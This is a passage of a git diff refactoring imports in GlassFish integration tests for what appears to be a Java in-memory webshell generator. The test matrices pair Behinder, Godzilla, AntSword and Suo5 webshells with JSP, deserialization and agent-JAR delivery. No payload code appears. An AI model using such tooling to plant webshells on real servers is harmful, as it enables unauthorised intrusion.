Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index c2d0d281..b04f75f6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -50,44 +50,44 @@ public class GlassFish4ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index b5cfbfa1..3e3319ab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,44 +42,44 @@ public class GlassFish501ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index 50c05dba..b02e0adc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,56 +42,56 @@ public class GlassFish510ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index 8997c228..3580b971 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,36 +43,36 @@ public class GlassFish6ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), + 